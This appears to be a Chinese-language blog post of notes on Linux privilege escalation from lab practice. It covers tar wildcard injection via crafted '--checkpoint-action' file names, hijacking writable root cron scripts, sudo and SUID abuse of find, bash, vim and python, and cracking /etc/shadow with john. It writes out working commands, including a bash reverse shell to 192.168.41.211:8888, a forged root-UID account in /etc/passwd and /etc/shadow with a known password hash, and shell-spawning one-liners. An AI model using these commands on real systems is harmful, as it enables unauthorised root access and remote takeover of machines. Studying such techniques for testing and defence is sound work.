linux提权-杂篇


之前的是讲了linux提权中的这个内核提权,因为之前打靶机确实是用了这个脏牛提权的,然后其他的我就先稍微提提,不搞太深入的理解这种

主要是少实战来看这个确实很浪费时间

Linux提权-通配符提权

我是感觉要是自己搭建环境然后来搞的话,有一种比较复杂然后还鸟用没有的感觉

看计划任务,发现有滥用通配符的,并且是root权限,可以进行提权
在/var/www/html下创建两个文件如下

echo “ “ > /var/www/html/–checkpoint=1

echo “ “ > /var/www/html/–checkpoint-action=exec=’bash shell.sh’

echo “bash -i >&/dev/tcp/192.168.41.211/8888 0>&1” > /var/www/html/shell.sh

使用NC进行监听,等待sh脚本被执行,连接NC

计划任务提权

linux计划任务提权是因为权限配置不当,计划任务以root权限运行,低权限的用户可以修改计划任务的

文件,从而被攻击者利用,导致提权,Linux计划任务命令如下

crontab -e 编辑计划任务

crontab -l 查看计划任务

crontab -r 删除目前的crontab

首先查询计划任务,找sh文件且以root运行,再ls -l 文件名1查看文件是否为777权限,或者是否可修改,然后插入反弹shell代码,再nc监听,计划任务执行时,所反弹的shell则是计划任务的高权限shell
ls -al /bash_os.sh

sudo滥用

使用sudo -l 查看可以无密码使用的,(例如vim,awk,find)
即可执行命令,进行sudo提权(利用众多特定sudo命令提权)

明文密码提权

主要看shadow文件可否查看,然后结合john进行文件内容解密,直接获取明文账号密码

suid相关提权思路

find提权

find比较常用,find用来在系统中查找文件。同时,它也有执行命令的能力。 因此,如果配置为使用

SUID权限运行,则可以通过find执行的命令都将以root身份去运行
touch anyfile #必须要有这个文件

find anyfile -exec whoami ;
即可root/

bash提权

bash命令是用来打开一个shell。同时它也有执行命令的能力。 因此,如果配置为使用SUID权限运行,

则可以通过bash执行的命令都将以root身份去运行
bash -p (-p参数用来启动一个新的会话)
提权即可成功
whoami
root

VIM提权

利用vim提权的思路是修改/etc/passwd文件和/etc/shadow,为自己添加一个有root权限的用户
第一种方式,利用vim添加账号

vim /etc/passwd 添加特权用户

添加:bob:x:0:0::/home/bob:/bin/bash

vim /etc/shadow 添加特权用户

bob:$1$salt$638tR8bROOvPnPklDQ9Vf/:19103:0:99999:7::: 密码是123456

第二种,利用vim打开交互shell

vim -c ‘:py import os; os.execl(“/bin/sh”, “sh”, “-pc”, “reset; exec sh -p”)’

python提权

如果 Python 解释器或其调用的 shell 没有适当的限制,可能会允许未授权的用户访问更高的权限
python -c ‘import os; os.execl(“/bin/sh”, “sh”, “-p”)’

-c调用python解释器,后接python代码,调用os的execl函数,执行/bin/bash调用shell

这里其实不只是这个py的,其他语言也完全没有问题


文章作者: wuk0Ng
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 wuk0Ng !
评论
  目录